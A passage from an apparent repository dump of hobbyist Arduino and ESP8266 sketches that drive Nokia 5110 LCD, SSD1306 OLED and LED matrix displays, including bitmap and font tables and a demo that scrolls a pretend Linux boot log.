0x00, 0x00, 0x00, 29 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 30 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 31 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 32 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 33 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 34 | 0x00, 0x00, 0xFF, 0xB1, 0x5D, 0x89, 0x8F, 0x89, 35 | 0x5D, 0x11, 0x3F, 0xFF, 0xFF, 0xFF, 0xF8, 0x00, 36 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 37 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 38 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 39 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 40 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 41 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 42 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 43 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 44 | 0x00, 0x00, 0xE0, 0xF0, 0x78, 0x3E, 0x03, 0x01, 45 | 0x01, 0x02, 0x02, 0x02, 0x02, 0x02, 0x01, 0x01, 46 | 0x03, 0x1F, 0x7F, 0xFF, 0xFE, 0xF8, 0xF0, 0xC0, 47 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 48 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 49 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 50 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 51 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 52 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 53 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 54 | 0x00, 0x00, 0x00, 0xC0, 0x3C, 0x3F, 0x7F, 0xC3, 55 | 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 56 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x40, 0x7F, 57 | 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, 58 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 59 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 60 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 61 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 62 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 63 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 64 | 0x00, 0x00, 0x00, 0x26, 0x59, 0x41, 0x41, 0x80, 65 | 0x80, 0x80, 0x80, 0x00, 0x03, 0x07, 0x9E, 0xE4, 66 | 0xE0, 0xE0, 0x60, 0x60, 0x60, 0x60, 0x60, 0x70, 67 | 0x78, 0x7B, 0xFC, 0x00, 0x00, 0x01, 0x01, 0x01, 68 | 0x80, 0x47, 0x48, 0x28, 0x10, 0x00, 0x00, 0x00, 69 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 70 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 71 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 72 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 73 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 74 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 75 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 76 | 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 77 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 78 | 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 79 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 80 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 81 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 82 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 83 | }; 84 | 85 | // LCD Procedures 86 | 87 | void LcdClear(void) 88 | { 89 | for (int index = 0; index < LCD_X * LCD_Y / 8; index++) 90 | { 91 | LcdWrite(LCD_D, 0x00); 92 | } 93 | } 94 | 95 | void LcdInitialise(void) 96 | { 97 | pinMode(PIN_SCE, OUTPUT); 98 | pinMode(PIN_RESET, OUTPUT); 99 | pinMode(PIN_DC, OUTPUT); 100 | pinMode(PIN_SDIN, OUTPUT); 101 | pinMode(PIN_SCLK, OUTPUT); 102 | digitalWrite(PIN_RESET, LOW); 103 | digitalWrite(PIN_RESET, HIGH); 104 | LcdWrite(LCD_C, 0x21 ); // LCD Extended Commands. 105 | LcdWrite(LCD_C, 0xB1 ); // Set LCD Vop (Contrast). 106 | LcdWrite(LCD_C, 0x04 ); // Set Temp coefficent. //0x04 107 | LcdWrite(LCD_C, 0x14 ); // LCD bias mode 1:48. //0x13 108 | LcdWrite(LCD_C, 0x0C ); // LCD in normal mode. 109 | LcdWrite(LCD_C, 0x20 ); 110 | LcdWrite(LCD_C, 0x0C ); 111 | } 112 | 113 | void gotoXY(int x, int y) 114 | { 115 | LcdWrite( 0, 0x80 | x); // Column. 116 | LcdWrite( 0, 0x40 | y); // Row. 117 | 118 | } 119 | void LcdWrite(byte dc, byte data) 120 | { 121 | digitalWrite(PIN_DC, dc); 122 | digitalWrite(PIN_SCE, LOW); 123 | shiftOut(PIN_SDIN, PIN_SCLK, MSBFIRST, data); 124 | digitalWrite(PIN_SCE, HIGH); 125 | } 126 | 127 | void LcdBitmap(char my_array[]){ 128 | for (int index = 0 ; index < (LCD_X * LCD_Y / 8) ; index++) 129 | LcdWrite(LCD_D, my_array[index]); 130 | } 131 | 132 | void setup(void) 133 | { 134 | LcdInitialise(); 135 | LcdClear(); 136 | gotoXY(0,0); 137 | } 138 | 139 | void loop(void) 140 | { 141 | LcdBitmap(tux); 142 | while (true) 143 | { 144 | } 145 | } 146 | -------------------------------------------------------------------------------- /ESP8266/Displays/oled_all-in-one/PretendLinuxBoot/PretendLinuxBoot.ino: -------------------------------------------------------------------------------- 1 | /** 2 | * The MIT License (MIT) 3 | * 4 | * Copyright (c) 2016 by Daniel Eichhorn 5 | * 6 | * Permission is hereby granted, free of charge, to any person obtaining a copy 7 | * of this software and associated documentation files (the "Software"), to deal 8 | * in the Software without restriction, including without limitation the rights 9 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | * copies of the Software, and to permit persons to whom the Software is 11 | * furnished to do so, subject to the following conditions: 12 | * 13 | * The above copyright notice and this permission notice shall be included in all 14 | * copies or substantial portions of the Software. 15 | * 16 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | * SOFTWARE. 23 | * 24 | * Modified by Kris Occhipinti - http://filmsbykris.com 25 | */ 26 | 27 | // Include the correct display library 28 | // For a connection via I2C using Wire include 29 | #include // Only needed for Arduino 1.6.5 and earlier 30 | #include "SSD1306.h" // alias for `#include "SSD1306Wire.h"` 31 | // or #include "SH1106.h" alis for `#include "SH1106Wire.h"` 32 | // For a connection via I2C using brzo_i2c (must be installed) include 33 | // #include // Only needed for Arduino 1.6.5 and earlier 34 | // #include "SSD1306Brzo.h" 35 | // #include "SH1106Brzo.h" 36 | // For a connection via SPI include 37 | // #include // Only needed for Arduino 1.6.5 and earlier 38 | // #include "SSD1306Spi.h" 39 | // #include "SH1106SPi.h" 40 | 41 | // Include custom images 42 | #include "img.h" 43 | 44 | // Initialize the OLED display using SPI 45 | // D5 -> CLK 46 | // D7 -> MOSI (DOUT) 47 | // D0 -> RES 48 | // D2 -> DC 49 | // D8 -> CS 50 | // SSD1306Spi display(D0, D2, D8); 51 | // or 52 | // SH1106Spi display(D0, D2); 53 | 54 | // Initialize the OLED display using brzo_i2c 55 | // D3 -> SDA 56 | // D5 -> SCL 57 | // SSD1306Brzo display(0x3c, D3, D5); 58 | // or 59 | // SH1106Brzo display(0x3c, D3, D5); 60 | 61 | // Initialize the OLED display using Wire library 62 | //SSD1306 display(0x3c, D3, D5); 63 | SSD1306 display(0x3c, 5,4); 64 | // SH1106 display(0x3c, D3, D5); 65 | 66 | 67 | #define DEMO_DURATION 3000 68 | typedef void (*Demo)(void); 69 | 70 | int demoMode = 0; 71 | int counter = 1; 72 | 73 | void setup() { 74 | Serial.begin(115200); 75 | Serial.println(); 76 | Serial.println(); 77 | 78 | 79 | // Initialising the UI will init the display too. 80 | display.init(); 81 | 82 | display.flipScreenVertically(); 83 | 84 | display.setFont(ArialMT_Plain_10); 85 | 86 | } 87 | 88 | void drawTextFlowDemo() { 89 | display.setFont(ArialMT_Plain_10); 90 | display.setTextAlignment(TEXT_ALIGN_LEFT); 91 | 92 | for(int ypos = 0;ypos > -250;ypos-=10){ 93 | display.clear(); 94 | display.drawStringMaxWidth(0, ypos, 128, 95 | "U-Boot 2009.08 (Nov 15 2009 - 22:03:26)\n \n CPU: Xtensa test_mmuhifi_c3 at 41.6777 MHz\n Board: XT-AV200: Avnet board + Xilinx LX200 FPGA + Tensilica bitstream\n SysRAM: 96 MB\n Flash: 16 MB\n In: serial\n Out: serial\n Err: serial\n MAC: 00:50:C2:13:6f:07\n IP: 192.168.11.105\n open_ethernet\n Autobooting in 5 seconds, press to stop\n" ); 96 | display.display(); 97 | delay(50); 98 | } 99 | } 100 | 101 | void drawTextAlignmentDemo() { 102 | // Text alignment demo 103 | display.setFont(ArialMT_Plain_10); 104 | 105 | // The coordinates define the left starting point of the text 106 | display.setTextAlignment(TEXT_ALIGN_LEFT); 107 | display.drawString(0, 10, "Left aligned (0,10)"); 108 | 109 | // The coordinates define the center of the text 110 | display.setTextAlignment(TEXT_ALIGN_CENTER); 111 | display.drawString(64, 22, "Center aligned (64,22)"); 112 | 113 | // The coordinates define the right end of the text 114 | display.setTextAlignment(TEXT_ALIGN_RIGHT); 115 | display.drawString(128, 33, "Right aligned (128,33)"); 116 | } 117 | 118 | void drawRectDemo() { 119 | // Draw a pixel at given position 120 | for (int i = 0; i < 10; i++) { 121 | display.setPixel(i, i); 122 | display.setPixel(10 - i, i); 123 | } 124 | display.drawRect(12, 12, 20, 20); 125 | 126 | // Fill the rectangle 127 | display.fillRect(14, 14, 17, 17); 128 | 129 | // Draw a line horizontally 130 | display.drawHorizontalLine(0, 40, 20); 131 | 132 | // Draw a line horizontally 133 | display.drawVerticalLine(40, 0, 20); 134 | } 135 | 136 | void drawCircleDemo() { 137 | for (int i=1; i < 8; i++) { 138 | display.setColor(WHITE); 139 | display.drawCircle(32, 32, i*3); 140 | if (i % 2 == 0) { 141 | display.setColor(BLACK); 142 | } 143 | display.fillCircle(96, 32, 32 - i* 3); 144 | } 145 | } 146 | 147 | void drawProgressBarDemo() { 148 | int progress = (counter / 5) % 100; 149 | // draw the progress bar 150 | display.drawProgressBar(0, 32, 120, 10, progress); 151 | 152 | // draw the percentage as String 153 | display.setTextAlignment(TEXT_ALIGN_CENTER); 154 | display.drawString(64, 15, String(progress) + "%"); 155 | } 156 | 157 | void drawImageDemo() { 158 | // see http://blog.squix.org/2015/05/esp8266-nodemcu-how-to-create-xbm.html 159 | // on how to create xbm files 160 | display.drawXbm(0, 0, img_width, img_height, img_bits); 161 | } 162 | 163 | Demo demos[] = {drawImageDemo,drawTextFlowDemo, drawTextAlignmentDemo, drawRectDemo, drawCircleDemo, drawProgressBarDemo}; 164 | int demoLength = (sizeof(demos) / sizeof(Demo)); 165 | long timeSinceLastModeSwitch = 0; 166 | 167 | void loop() { 168 | // clear the display 169 | display.clear(); 170 | // draw the current demo method 171 | demos[demoMode](); 172 | 173 | display.setTextAlignment(TEXT_ALIGN_RIGHT); 174 | display.drawString(10, 128, String(millis())); 175 | // write the buffer to the display 176 | display.display(); 177 | 178 | if (millis() - timeSinceLastModeSwitch > DEMO_DURATION) { 179 | demoMode = (demoMode + 1) % demoLength; 180 | timeSinceLastModeSwitch = millis(); 181 | } 182 | counter++; 183 | delay(10); 184 | } 185 | -------------------------------------------------------------------------------- /ESP8266/Displays/Matrix/MatrixPortal/chars.h: -------------------------------------------------------------------------------- 1 | PROGMEM const unsigned char CH[] = { 2 | 3, 8, B00000000, B00000000, B00000000, B00000000, B00000000, // space 3 | 1, 8, B01011111, B00000000, B00000000, B00000000, B00000000, // ! 4 | 3, 8, B00000011, B00000000, B00000011, B00000000, B00000000, // " 5 | 5, 8, B00010100, B00111110, B00010100, B00111110, B00010100, // # 6 | 4, 8, B00100100, B01101010, B00101011, B00010010, B00000000, // $ 7 | 5, 8, B01100011, B00010011, B00001000, B01100100, B01100011, // % 8 | 5, 8, B00110110, B01001001, B01010110, B00100000, B01010000, // & 9 | 1, 8, B00000011, B00000000, B00000000, B00000000, B00000000, // ' 10 | 3, 8, B00011100, B00100010, B01000001, B00000000, B00000000, // ( 11 | 3, 8, B01000001, B00100010, B00011100, B00000000, B00000000, // ) 12 | 5, 8, B00101000, B00011000, B00001110, B00011000, B00101000, // * 13 | 5, 8, B00001000, B00001000, B00111110, B00001000, B00001000, // + 14 | 2, 8, B10110000, B01110000, B00000000, B00000000, B00000000, // , 15 | 4, 8, B00001000, B00001000, B00001000, B00001000, B00000000, // - 16 | 2, 8, B01100000, B01100000, B00000000, B00000000, B00000000, // . 17 | 4, 8, B01100000, B00011000, B00000110, B00000001, B00000000, // / 18 | 4, 8, B00111110, B01000001, B01000001, B00111110, B00000000, // 0 19 | 3, 8, B01000010, B01111111, B01000000, B00000000, B00000000, // 1 20 | 4, 8, B01100010, B01010001, B01001001, B01000110, B00000000, // 2 21 | 4, 8, B00100010, B01000001, B01001001, B00110110, B00000000, // 3 22 | 4, 8, B00011000, B00010100, B00010010, B01111111, B00000000, // 4 23 | 4, 8, B00100111, B01000101, B01000101, B00111001, B00000000, // 5 24 | 4, 8, B00111110, B01001001, B01001001, B00110000, B00000000, // 6 25 | 4, 8, B01100001, B00010001, B00001001, B00000111, B00000000, // 7 26 | 4, 8, B00110110, B01001001, B01001001, B00110110, B00000000, // 8 27 | 4, 8, B00000110, B01001001, B01001001, B00111110, B00000000, // 9 28 | 2, 8, B01010000, B00000000, B00000000, B00000000, B00000000, // : 29 | 2, 8, B10000000, B01010000, B00000000, B00000000, B00000000, // ; 30 | 3, 8, B00010000, B00101000, B01000100, B00000000, B00000000, // < 31 | 3, 8, B00010100, B00010100, B00010100, B00000000, B00000000, // = 32 | 3, 8, B01000100, B00101000, B00010000, B00000000, B00000000, // > 33 | 4, 8, B00000010, B01011001, B00001001, B00000110, B00000000, // ? 34 | 5, 8, B00111110, B01001001, B01010101, B01011101, B00001110, // @ 35 | 4, 8, B01111110, B00010001, B00010001, B01111110, B00000000, // A 36 | 4, 8, B01111111, B01001001, B01001001, B00110110, B00000000, // B 37 | 4, 8, B00111110, B01000001, B01000001, B00100010, B00000000, // C 38 | 4, 8, B01111111, B01000001, B01000001, B00111110, B00000000, // D 39 | 4, 8, B01111111, B01001001, B01001001, B01000001, B00000000, // E 40 | 4, 8, B01111111, B00001001, B00001001, B00000001, B00000000, // F 41 | 4, 8, B00111110, B01000001, B01001001, B01111010, B00000000, // G 42 | 4, 8, B01111111, B00001000, B00001000, B01111111, B00000000, // H 43 | 3, 8, B01000001, B01111111, B01000001, B00000000, B00000000, // I 44 | 4, 8, B00110000, B01000000, B01000001, B00111111, B00000000, // J 45 | 4, 8, B01111111, B00001000, B00010100, B01100011, B00000000, // K 46 | 4, 8, B01111111, B01000000, B01000000, B01000000, B00000000, // L 47 | 5, 8, B01111111, B00000010, B00001100, B00000010, B01111111, // M 48 | 5, 8, B01111111, B00000100, B00001000, B00010000, B01111111, // N 49 | 4, 8, B00111110, B01000001, B01000001, B00111110, B00000000, // O 50 | 4, 8, B01111111, B00001001, B00001001, B00000110, B00000000, // P 51 | 4, 8, B00111110, B01000001, B01000001, B10111110, B00000000, // Q 52 | 4, 8, B01111111, B00001001, B00001001, B01110110, B00000000, // R 53 | 4, 8, B01000110, B01001001, B01001001, B00110010, B00000000, // S 54 | 5, 8, B00000001, B00000001, B01111111, B00000001, B00000001, // T 55 | 4, 8, B00111111, B01000000, B01000000, B00111111, B00000000, // U 56 | 5, 8, B00001111, B00110000, B01000000, B00110000, B00001111, // V 57 | 5, 8, B00111111, B01000000, B00111000, B01000000, B00111111, // W 58 | 5, 8, B01100011, B00010100, B00001000, B00010100, B01100011, // X 59 | 5, 8, B00000111, B00001000, B01110000, B00001000, B00000111, // Y 60 | 4, 8, B01100001, B01010001, B01001001, B01000111, B00000000, // Z 61 | 2, 8, B01111111, B01000001, B00000000, B00000000, B00000000, // [ 62 | 4, 8, B00000001, B00000110, B00011000, B01100000, B00000000, // \ backslash 63 | 2, 8, B01000001, B01111111, B00000000, B00000000, B00000000, // ] 64 | 3, 8, B00000010, B00000001, B00000010, B00000000, B00000000, // hat 65 | 4, 8, B01000000, B01000000, B01000000, B01000000, B00000000, // _ 66 | 2, 8, B00000001, B00000010, B00000000, B00000000, B00000000, // ` 67 | 4, 8, B00100000, B01010100, B01010100, B01111000, B00000000, // a 68 | 4, 8, B01111111, B01000100, B01000100, B00111000, B00000000, // b 69 | 4, 8, B00111000, B01000100, B01000100, B00101000, B00000000, // c 70 | 4, 8, B00111000, B01000100, B01000100, B01111111, B00000000, // d 71 | 4, 8, B00111000, B01010100, B01010100, B00011000, B00000000, // e 72 | 3, 8, B00000100, B01111110, B00000101, B00000000, B00000000, // f 73 | 4, 8, B10011000, B10100100, B10100100, B01111000, B00000000, // g 74 | 4, 8, B01111111, B00000100, B00000100, B01111000, B00000000, // h 75 | 3, 8, B01000100, B01111101, B01000000, B00000000, B00000000, // i 76 | 4, 8, B01000000, B10000000, B10000100, B01111101, B00000000, // j 77 | 4, 8, B01111111, B00010000, B00101000, B01000100, B00000000, // k 78 | 3, 8, B01000001, B01111111, B01000000, B00000000, B00000000, // l 79 | 5, 8, B01111100, B00000100, B01111100, B00000100, B01111000, // m 80 | 4, 8, B01111100, B00000100, B00000100, B01111000, B00000000, // n 81 | 4, 8, B00111000, B01000100, B01000100, B00111000, B00000000, // o 82 | 4, 8, B11111100, B00100100, B00100100, B00011000, B00000000, // p 83 | 4, 8, B00011000, B00100100, B00100100, B11111100, B00000000, // q 84 | 4, 8, B01111100, B00001000, B00000100, B00000100, B00000000, // r 85 | 4, 8, B01001000, B01010100, B01010100, B00100100, B00000000, // s 86 | 3, 8, B00000100, B00111111, B01000100, B00000000, B00000000, // t 87 | 4, 8, B00111100, B01000000, B01000000, B01111100, B00000000, // u 88 | 5, 8, B00011100, B00100000, B01000000, B00100000, B00011100, // v 89 | 5, 8, B00111100, B01000000, B00111100, B01000000, B00111100, // w 90 | 5, 8, B01000100, B00101000, B00010000, B00101000, B01000100, // x 91 | 4, 8, B10011100, B10100000, B10100000, B01111100, B00000000, // y 92 | 3, 8, B01100100, B01010100, B01001100, B00000000, B00000000, // z 93 | 3, 8, B00001000, B00110110, B01000001, B00000000, B00000000, // { 94 | 1, 8, B01111111, B00000000, B00000000, B00000000, B00000000, // | 95 | 3, 8, B01000001, B00110110, B00001000, B00000000, B00000000, // } 96 | 4, 8, B00001000, B00000100, B00001000, B00000100, B00000000, // ~ 97 | }; 98 | 99 | 100 | -------------------------------------------------------------------------------- /Arduino/Displays/Nokia5110/Text/Text.ino: -------------------------------------------------------------------------------- 1 | #define PIN_SCE 7 2 | #define PIN_RESET 6 3 | #define PIN_DC 5 4 | #define PIN_SDIN 4 5 | #define PIN_SCLK 3 6 | 7 | #define LCD_C LOW 8 | #define LCD_D HIGH 9 | 10 | #define LCD_X 84 11 | #define LCD_Y 48 12 | 13 | static const byte ASCII[][5] = 14 | { 15 | {0x00, 0x00, 0x00, 0x00, 0x00} // 20 16 | ,{0x00, 0x00, 0x5f, 0x00, 0x00} // 21 ! 17 | ,{0x00, 0x07, 0x00, 0x07, 0x00} // 22 " 18 | ,{0x14, 0x7f, 0x14, 0x7f, 0x14} // 23 # 19 | ,{0x24, 0x2a, 0x7f, 0x2a, 0x12} // 24 $ 20 | ,{0x23, 0x13, 0x08, 0x64, 0x62} // 25 % 21 | ,{0x36, 0x49, 0x55, 0x22, 0x50} // 26 & 22 | ,{0x00, 0x05, 0x03, 0x00, 0x00} // 27 ' 23 | ,{0x00, 0x1c, 0x22, 0x41, 0x00} // 28 ( 24 | ,{0x00, 0x41, 0x22, 0x1c, 0x00} // 29 ) 25 | ,{0x14, 0x08, 0x3e, 0x08, 0x14} // 2a * 26 | ,{0x08, 0x08, 0x3e, 0x08, 0x08} // 2b + 27 | ,{0x00, 0x50, 0x30, 0x00, 0x00} // 2c , 28 | ,{0x08, 0x08, 0x08, 0x08, 0x08} // 2d - 29 | ,{0x00, 0x60, 0x60, 0x00, 0x00} // 2e . 30 | ,{0x20, 0x10, 0x08, 0x04, 0x02} // 2f / 31 | ,{0x3e, 0x51, 0x49, 0x45, 0x3e} // 30 0 32 | ,{0x00, 0x42, 0x7f, 0x40, 0x00} // 31 1 33 | ,{0x42, 0x61, 0x51, 0x49, 0x46} // 32 2 34 | ,{0x21, 0x41, 0x45, 0x4b, 0x31} // 33 3 35 | ,{0x18, 0x14, 0x12, 0x7f, 0x10} // 34 4 36 | ,{0x27, 0x45, 0x45, 0x45, 0x39} // 35 5 37 | ,{0x3c, 0x4a, 0x49, 0x49, 0x30} // 36 6 38 | ,{0x01, 0x71, 0x09, 0x05, 0x03} // 37 7 39 | ,{0x36, 0x49, 0x49, 0x49, 0x36} // 38 8 40 | ,{0x06, 0x49, 0x49, 0x29, 0x1e} // 39 9 41 | ,{0x00, 0x36, 0x36, 0x00, 0x00} // 3a : 42 | ,{0x00, 0x56, 0x36, 0x00, 0x00} // 3b ; 43 | ,{0x08, 0x14, 0x22, 0x41, 0x00} // 3c < 44 | ,{0x14, 0x14, 0x14, 0x14, 0x14} // 3d = 45 | ,{0x00, 0x41, 0x22, 0x14, 0x08} // 3e > 46 | ,{0x02, 0x01, 0x51, 0x09, 0x06} // 3f ? 47 | ,{0x32, 0x49, 0x79, 0x41, 0x3e} // 40 @ 48 | ,{0x7e, 0x11, 0x11, 0x11, 0x7e} // 41 A 49 | ,{0x7f, 0x49, 0x49, 0x49, 0x36} // 42 B 50 | ,{0x3e, 0x41, 0x41, 0x41, 0x22} // 43 C 51 | ,{0x7f, 0x41, 0x41, 0x22, 0x1c} // 44 D 52 | ,{0x7f, 0x49, 0x49, 0x49, 0x41} // 45 E 53 | ,{0x7f, 0x09, 0x09, 0x09, 0x01} // 46 F 54 | ,{0x3e, 0x41, 0x49, 0x49, 0x7a} // 47 G 55 | ,{0x7f, 0x08, 0x08, 0x08, 0x7f} // 48 H 56 | ,{0x00, 0x41, 0x7f, 0x41, 0x00} // 49 I 57 | ,{0x20, 0x40, 0x41, 0x3f, 0x01} // 4a J 58 | ,{0x7f, 0x08, 0x14, 0x22, 0x41} // 4b K 59 | ,{0x7f, 0x40, 0x40, 0x40, 0x40} // 4c L 60 | ,{0x7f, 0x02, 0x0c, 0x02, 0x7f} // 4d M 61 | ,{0x7f, 0x04, 0x08, 0x10, 0x7f} // 4e N 62 | ,{0x3e, 0x41, 0x41, 0x41, 0x3e} // 4f O 63 | ,{0x7f, 0x09, 0x09, 0x09, 0x06} // 50 P 64 | ,{0x3e, 0x41, 0x51, 0x21, 0x5e} // 51 Q 65 | ,{0x7f, 0x09, 0x19, 0x29, 0x46} // 52 R 66 | ,{0x46, 0x49, 0x49, 0x49, 0x31} // 53 S 67 | ,{0x01, 0x01, 0x7f, 0x01, 0x01} // 54 T 68 | ,{0x3f, 0x40, 0x40, 0x40, 0x3f} // 55 U 69 | ,{0x1f, 0x20, 0x40, 0x20, 0x1f} // 56 V 70 | ,{0x3f, 0x40, 0x38, 0x40, 0x3f} // 57 W 71 | ,{0x63, 0x14, 0x08, 0x14, 0x63} // 58 X 72 | ,{0x07, 0x08, 0x70, 0x08, 0x07} // 59 Y 73 | ,{0x61, 0x51, 0x49, 0x45, 0x43} // 5a Z 74 | ,{0x00, 0x7f, 0x41, 0x41, 0x00} // 5b [ 75 | ,{0x02, 0x04, 0x08, 0x10, 0x20} // 5c ¥ 76 | ,{0x00, 0x41, 0x41, 0x7f, 0x00} // 5d ] 77 | ,{0x04, 0x02, 0x01, 0x02, 0x04} // 5e ^ 78 | ,{0x40, 0x40, 0x40, 0x40, 0x40} // 5f _ 79 | ,{0x00, 0x01, 0x02, 0x04, 0x00} // 60 ` 80 | ,{0x20, 0x54, 0x54, 0x54, 0x78} // 61 a 81 | ,{0x7f, 0x48, 0x44, 0x44, 0x38} // 62 b 82 | ,{0x38, 0x44, 0x44, 0x44, 0x20} // 63 c 83 | ,{0x38, 0x44, 0x44, 0x48, 0x7f} // 64 d 84 | ,{0x38, 0x54, 0x54, 0x54, 0x18} // 65 e 85 | ,{0x08, 0x7e, 0x09, 0x01, 0x02} // 66 f 86 | ,{0x0c, 0x52, 0x52, 0x52, 0x3e} // 67 g 87 | ,{0x7f, 0x08, 0x04, 0x04, 0x78} // 68 h 88 | ,{0x00, 0x44, 0x7d, 0x40, 0x00} // 69 i 89 | ,{0x20, 0x40, 0x44, 0x3d, 0x00} // 6a j 90 | ,{0x7f, 0x10, 0x28, 0x44, 0x00} // 6b k 91 | ,{0x00, 0x41, 0x7f, 0x40, 0x00} // 6c l 92 | ,{0x7c, 0x04, 0x18, 0x04, 0x78} // 6d m 93 | ,{0x7c, 0x08, 0x04, 0x04, 0x78} // 6e n 94 | ,{0x38, 0x44, 0x44, 0x44, 0x38} // 6f o 95 | ,{0x7c, 0x14, 0x14, 0x14, 0x08} // 70 p 96 | ,{0x08, 0x14, 0x14, 0x18, 0x7c} // 71 q 97 | ,{0x7c, 0x08, 0x04, 0x04, 0x08} // 72 r 98 | ,{0x48, 0x54, 0x54, 0x54, 0x20} // 73 s 99 | ,{0x04, 0x3f, 0x44, 0x40, 0x20} // 74 t 100 | ,{0x3c, 0x40, 0x40, 0x20, 0x7c} // 75 u 101 | ,{0x1c, 0x20, 0x40, 0x20, 0x1c} // 76 v 102 | ,{0x3c, 0x40, 0x30, 0x40, 0x3c} // 77 w 103 | ,{0x44, 0x28, 0x10, 0x28, 0x44} // 78 x 104 | ,{0x0c, 0x50, 0x50, 0x50, 0x3c} // 79 y 105 | ,{0x44, 0x64, 0x54, 0x4c, 0x44} // 7a z 106 | ,{0x00, 0x08, 0x36, 0x41, 0x00} // 7b { 107 | ,{0x00, 0x00, 0x7f, 0x00, 0x00} // 7c | 108 | ,{0x00, 0x41, 0x36, 0x08, 0x00} // 7d } 109 | ,{0x10, 0x08, 0x08, 0x10, 0x08} // 7e ← 110 | ,{0x78, 0x46, 0x41, 0x46, 0x78} // 7f → 111 | }; 112 | 113 | 114 | void LcdCharacter(char character) 115 | { 116 | LcdWrite(LCD_D, 0x00); 117 | for (int index = 0; index < 5; index++) 118 | { 119 | LcdWrite(LCD_D, ASCII[character - 0x20][index]); 120 | } 121 | LcdWrite(LCD_D, 0x00); 122 | } 123 | 124 | void LcdClear(void) 125 | { 126 | for (int index = 0; index < LCD_X * LCD_Y / 8; index++) 127 | { 128 | LcdWrite(LCD_D, 0x00); 129 | } 130 | } 131 | 132 | void LcdInitialise(void) 133 | { 134 | pinMode(PIN_SCE, OUTPUT); 135 | pinMode(PIN_RESET, OUTPUT); 136 | pinMode(PIN_DC, OUTPUT); 137 | pinMode(PIN_SDIN, OUTPUT); 138 | pinMode(PIN_SCLK, OUTPUT); 139 | digitalWrite(PIN_RESET, LOW); 140 | digitalWrite(PIN_RESET, HIGH); 141 | LcdWrite(LCD_C, 0x21 ); // LCD Extended Commands. 142 | LcdWrite(LCD_C, 0xB1 ); // Set LCD Vop (Contrast). 143 | LcdWrite(LCD_C, 0x04 ); // Set Temp coefficent. //0x04 144 | LcdWrite(LCD_C, 0x14 ); // LCD bias mode 1:48. //0x13 145 | LcdWrite(LCD_C, 0x0C ); // LCD in normal mode. 146 | LcdWrite(LCD_C, 0x20 ); 147 | LcdWrite(LCD_C, 0x0C ); 148 | } 149 | 150 | void LcdString(char *characters) 151 | { 152 | while (*characters) 153 | { 154 | LcdCharacter(*characters++); 155 | } 156 | } 157 | void gotoXY(int x, int y) 158 | { 159 | LcdWrite( 0, 0x80 | x); // Column. 160 | LcdWrite( 0, 0x40 | y); // Row. 161 | 162 | } 163 | void 